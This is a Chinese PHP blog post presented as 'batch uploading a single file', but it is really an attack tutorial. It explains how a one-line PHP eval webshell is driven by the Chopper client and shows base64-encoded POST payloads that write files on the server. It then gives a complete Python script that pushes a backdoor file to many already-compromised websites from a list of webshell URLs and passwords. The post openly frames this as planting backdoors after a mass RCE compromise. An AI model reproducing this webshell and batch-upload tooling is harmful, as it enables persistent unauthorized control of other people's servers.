PHP实现批量上传单个文件


Posted in PHP onDecember 29, 2015

很多时候当我们通过某个通用型RCE漏洞批量抓取了很多的webshell后,可能想要批量传个后门以备后用。这时,我们不禁会面临一个问题,使用菜刀一个个上传显得太慢,那么如何快速的实现文件的批量上传呢?本文给大家介绍基于php如何实现这类需求。

0×01 原理分析

首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。

下面是最常见的php一句话木马:

<?php eval($_POST[1]); ?>

当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。

那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。

因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:

POST:

1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];

上面代码包含2个部分:

1. 一句话的密码

2. 发送给服务器端的php执行代码

既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话上传文件的功能:

POST:

1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh

仔细分析一下这段POST数据包含以下几个部分:

1. 首先是php一句话的密码1

2. 通过eval方法来执行base64解码后的z0,解码整理后显示如下:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=base64_decode($_POST["z2"]);
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=1)  
  $buf.=substr($c,$i,1);
echo(@fwrite(fopen($f,"w"),$buf));
echo("|<-");
die();

3. 在z0中继续调用base64解码后的z1和z2,解码后如下:

z1=/var/www/root/1.txt
z2=hello world!

至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。

0×02 代码实现

基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:

#!/usr/bin/python 
#coding=utf-8 
import urllib 
import urllib2
import sys
import base64
import re
def post(url, data): 
  req = urllib2.Request(url) 
  data = urllib.urlencode(data)  
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 
  response = opener.open(req, data) 
  return response.read() 
def get_shell_path(posturl,passwd):
  shell_path = ""
  try:
    data = {}
    data[passwd] = '@eval(base64_decode($_POST[z0]));'
    data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
    shell_path = post(posturl, data).strip()
  except Exception:
    pass
  return shell_path
def main():
  print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
  shellfile = sys.argv[1] # 存放webshell路径和密码的文件
  localfile = sys.argv[2] # 本地待上传的文件名
  shell_file = open(shellfile,'rb')
  local_content = str(open(localfile,'rb').read())
  for eachline in shell_file:
    posturl = eachline.split(',')[0].strip()
    passwd = eachline.split(',')[1].strip()
    try:
      reg = ".*/([^/]*\.php?)"
      match_shell_name = re.search(reg,eachline)
      if match_shell_name:
        shell_name=match_shell_name.group(1)
        shell_path = get_shell_path(posturl,passwd).strip()
        target_path = shell_path.split(shell_name)[0]+localfile
        target_path_base64 = base64.b64encode(target_path)
        target_file_url = eachline.split(shell_name)[0]+localfile
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
        data['z1']=target_path_base64
        data['z2']=base64.b64encode(local_content)
        response = post(posturl, data)
        if response:
          print '[+] '+target_file_url+', upload succeed!'
        else:
          print '[-] '+target_file_url+', upload failed!'
      else:
        print '[-] '+posturl+', unsupported webshell!'
    except Exception,e:
      print '[-] '+posturl+', connection failed!'
  shell_file.close()
if __name__ == '__main__': 
  main()

webshell.txt的格式: [一句话webshell文件路径],[webshell连接密码]如下:

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py webshell.txt 1.txt,效果显示如下:

PHP实现批量上传单个文件

以上内容给大家介绍了PHP实现批量上传单个文件的相关知识,希望大家喜欢。

PHP 相关文章推荐
PHP 和 XML: 使用expat函数(一)
Oct 09 PHP
PHP动态分页函数,PHP开发分页必备啦
Nov 07 PHP
浅析HTTP消息头网页缓存控制以及header常用指令介绍
Jun 28 PHP
PHP速成大法
Jan 30 PHP
php字符串按照单词进行反转的方法
Mar 14 PHP
使用php实现从身份证中提取生日
May 09 PHP
PHP实现适用于文件内容操作的分页类
Jun 15 PHP
thinkPHP中钩子的两种配置调用方法详解
Nov 11 PHP
windows下的WAMP环境搭建图文教程(推荐)
Jul 27 PHP
php微信公众号开发之秒杀
Oct 20 PHP
php用xpath解析html的代码实例讲解
Feb 14 PHP
Laravel-admin之修改操作日志的方法
Sep 30 PHP
使用phpstorm和xdebug实现远程调试的方法
Dec 29 #PHP
PHP远程调试之XDEBUG
Dec 29 #PHP
从性能方面考虑PHP下载远程文件的3种方法
Dec 29 #PHP
Yii快速入门经典教程
Dec 28 #PHP
WordPress主题制作之模板文件的引入方法
Dec 28 #PHP
WordPress的主题编写中获取头部模板和底部模板
Dec 28 #PHP
YiiFramework入门知识点总结(图文教程)
Dec 28 #PHP
You might like
一个简单的PHP入门源程序
2006/10/09 PHP
php获取网页里所有图片并存入数组的方法
2015/04/06 PHP
PHP中获取文件创建日期、修改日期、访问时间的方法
2016/11/05 PHP
老生常谈PHP面向对象之注册表模式
2017/05/26 PHP
PDO::prepare讲解
2019/01/29 PHP
PHP信号处理机制的操作代码讲解
2019/04/19 PHP
jquery checkbox,radio是否选中的判断代码
2010/03/20 Javascript
简短几句jquery代码的实现一个图片向上滚动切换
2011/09/02 Javascript
JavaScript动态加载样式表的方法
2015/03/21 Javascript
Javascript编写俄罗斯方块思路及实例
2015/07/07 Javascript
简易的JS计算器实现代码
2016/10/18 Javascript
JS限定手机版中图片大小随分辨率自动调整的方法
2016/12/05 Javascript
Vue.js中用webpack合并打包多个组件并实现按需加载
2017/02/17 Javascript
从零学习node.js之简易的网络爬虫(四)
2017/02/22 Javascript
js a标签点击事件
2017/03/30 Javascript
如何用原生js写一个弹窗消息提醒插件
2019/05/24 Javascript
用Vue.js方法创建模板并使用多个模板合成
2019/06/28 Javascript
Vue 实现CLI 3.0 + momentjs + lodash打包时优化
2019/11/13 Javascript
Vue的Eslint配置文件eslintrc.js说明与规则介绍
2020/02/03 Javascript
Python基于正则表达式实现检查文件内容的方法【文件检索】
2017/08/30 Python
Flask解决跨域的问题示例代码
2018/02/12 Python
使用python的pandas库读取csv文件保存至mysql数据库
2018/08/20 Python
Python计算库numpy进行方差/标准方差/样本标准方差/协方差的计算
2018/12/28 Python
用Pelican搭建一个极简静态博客系统过程解析
2019/08/22 Python
Python的缺点和劣势分析
2019/11/19 Python
Python和Anaconda和Pycharm安装教程图文详解
2020/02/04 Python
详解pycharm配置python解释器的问题
2020/10/15 Python
解决pycharm 格式报错tabs和space不一致问题
2021/02/26 Python
一款纯css3实现的漂亮的404页面的实例教程
2014/11/27 HTML / CSS
Canvas高级路径操作之拖拽对象的实现
2019/08/05 HTML / CSS
给老婆的检讨书
2015/01/27 职场文书
新员工辞职信范文
2015/05/12 职场文书
运动会100米广播稿
2015/08/19 职场文书
筑梦中国心得体会
2016/01/18 职场文书
教你如何用python开发一款数字推盘小游戏
2021/04/14 Python
python爬取网页版QQ空间,生成各类图表
2021/06/02 Python